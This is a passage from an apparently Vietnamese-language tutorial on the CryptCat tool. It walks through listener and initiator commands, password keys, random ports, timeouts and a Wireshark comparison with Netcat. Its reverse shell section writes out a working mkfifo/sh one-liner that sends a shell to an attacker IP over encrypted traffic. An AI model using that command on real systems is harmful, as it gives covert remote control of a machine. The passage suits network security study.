Hình 9 Người nghe trong chế độ Verbose


Ở bên khởi xướng:

cryptcat -v 192.168.52.131 8880

Hình 10 Khởi tạo trong chế độ Verbose
III. Bảo vệ bằng mật khẩu:
Trong CryptCat, chúng ta có thể bảo vệ kết nối trị chuyện của mình bằng mật
khẩu và mật khẩu có thể được áp dụng bằng cách sử dụng tham số [-k]. Chúng ta biết
rằng CryptCat cung cấp cho chúng ta mã hóa đầu cuối, nhưng bằng cách sử dụng tham
số [-k], chúng ta có thể cung cấp lớp bảo vệ bổ sung cho kết nối. Vì vậy, gần như
khơng thể giải mã kết nối của chúng ta. Chúng ta có thể áp dụng cho bảo vệ này với
các lệnh sau.
Về phía người nghe, chúng tôi áp dụng tham số [-k] cùng với mật khẩu:
cryptcat -k hoangg -lvp 8880

Hình 11 Người nghe trong chế độ mật khẩu


Về phía người khởi xướng, chúng ta cần áp dụng cùng một mật khẩu được
người nghe áp dụng để chúng ta có thể kết nối với một số kết nối:
cryptcat –v –k hoangg 192.168.52.131 8880

Hình 12 Khởi tạo trong chế độ mật khẩu
IV. Cổng ngẫu nhiên:
Nếu chúng ta không thể quyết định số cổng của mình để bắt đầu người nghe
hoặc thiết lập kết nối CryptCat của chúng tôi. Vậy thì, CryptCat có một tham số [-r]
đặc biệt dành cho chúng ta, cung cấp cho chúng ta một cổng cục bộ ngẫu nhiên.
Ta sẽ set cổng ngẫu nhiên cho bên phía người nghe trước:
cryptcat -lv –r

Hình 13 Người nghe trong chết độ cổng ngẫu nhiên



Tuỳ theo người nghe chọn cổng gì chúng ta sẽ áp dụng sang bên phía người
khởi tạo:
cryptcat -v 192.168.52.131 41083

V. Thời gian chờ và thời gian trễ:
Hầu hết chúng ta đều nhầm lẫn giữa các điều khoản này. Thời gian chờ được
coi là thời gian để hoàn thành nhiệm vụ hoặc chương trình của chúng ta. Trong đó
khoảng thời gian trễ là khoảng thời gian giữa hai yêu cầu hoặc tác vụ riêng lẻ. Vì vậy,
trong CryptCat, chúng ta có tham số [-w] cho thời gian chờ và [-i] cho khoảng thời
gian trễ. Để áp dụng hai tham số riêng lẻ này để có được kết quả mong muốn.
Về phía người nghe, chúng tôi áp dụng cả hai lần ra và khoảng thời gian trễ:
cryptcat -v -w 30 -i 10 -l -p 8080

Hình 14 Người nghe trong chế độ thời gian trễ
Tại người bắt đầu, chúng tôi chỉ áp dụng thời gian chờ:
cryptcat –v –w 2 192.168.52.131 8880


Hình 15 Khởi tạo trong chế độ thời gian trễ
VI . Reverse shell:
Reverse shell là loại shell trong đó máy mục tiêu giao tiếp trở lại máy tấn công.
Máy tấn công nhận được kết nối thông qua một cổng bằng cách cung cấp mật khẩu.
Chúng ta sử dụng dòng lệnh dưới để có thể tạo một reverse shell trên máy Kali Linux
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|cryptcat 192.168.52.131 8880 -k
secretkey >/tmp/f

Hình 16 Khởi tạo reverse shell
Để kích hoạt trình nghe trên máy đích để lấy shell, hãy sử dụng lệnh sau: .
Chúng ta chạy một loạt các lệnh để tạo một số lưu lượng truy cập giữa cả hai máy.

cryptcat -lvp 8880 -k mysecretkey


Hình 17 Thơng tin thu về qua reverse shell
Một nhược điểm lớn trong ví dụ được hiển thị là bạn cần Cryptcat trên máy chủ
đích đó, điều này rất thường không xảy ra trong kịch bản thế giới thực. Trong một số
trường hợp, Cryptcat có mặt, hoặc chúng ta có cách để cài đặt nó, nhưng trong nhiều
trường hợp, chúng ta cần sử dụng các cách thay thế để kết nối trở lại hộp tấn công.
Sử dụng Wireshark để nắm bắt lưu lượng giữa hai máy, chúng tôi chọn bất kỳ
gói nào trong số các gói và chọn Theo dõi luồng TCP. Luồng cho chúng ta thấy một
loạt các ký tự ngẫu nhiên khơng thể đọc được. Điều này có nghĩa là giao tiếp được
thực hiện bằng CryptCat được mã hóa. Đây chính là điểm ưu việt hơn của Cryptcat so
với Netcat. Mọi lưu lượng giữa hai máy đã được cryptcat mã hố bằng phương pháp
mã hố khối twofish. Nó làm tăng tính bảo mật hơn cho kết nối hai bên, kể cả khi có
nghe lén trên đường truyền, hacker cũng không thể nào biết chúng ta đang giao tiếp
thông tin gì.

Hình 18 Wireshark bắt gói tin reverse shell


Chương 5: So sánh Cryptcat và Netcat
Trước khi so sánh hai cái này trước, chúng ta cần biết về Netcat hoặc nc. Nó là
một cơng cụ tiện ích sử dụng kết nối TCP và UDP để đọc và ghi trong mạng. Nó có
thể được sử dụng cho cả mục đích bảo mật và hack.
Trong trường hợp hack, nó có thể được sử dụng với sự trợ giúp của các tập lệnh
khiến nó khá đáng tin cậy. Và nếu chúng ta cần nói về bảo mật, nó giúp chúng ta gỡ
lỗi mạng cùng với việc đầu tư vào mạng.
Và khi nói đến CryptCat, đây là phiên bản nâng cao hơn của Netcat. Nó cung
cấp cho chúng tơi mã hóa hai chiều giúp kết nối của chúng tơi an tồn hơn. Chúng tôi
đang so sánh hai công cụ tuyệt vời này dựa trên mã hóa kết nối của tính năng trị

chuyện bằng cách chặn giao diện mạng của chúng với sự trợ giúp của Wireshark.

I. Netcat:
Như chúng ta biết, chúng ta áp dụng một người nghe và một người khởi xướng
để bắt đầu kết nối này để trị chuyện. Cùng với đó, chúng tôi đã khởi xướng Wireshark
để chặn giao diện mạng của nó.
Về phía người nghe, chúng tơi đang sử dụng tham số [-l] để nghe và tham số [p] cho số cổng:

Hình 19 Khởi tạo chế độ chat Netcat


×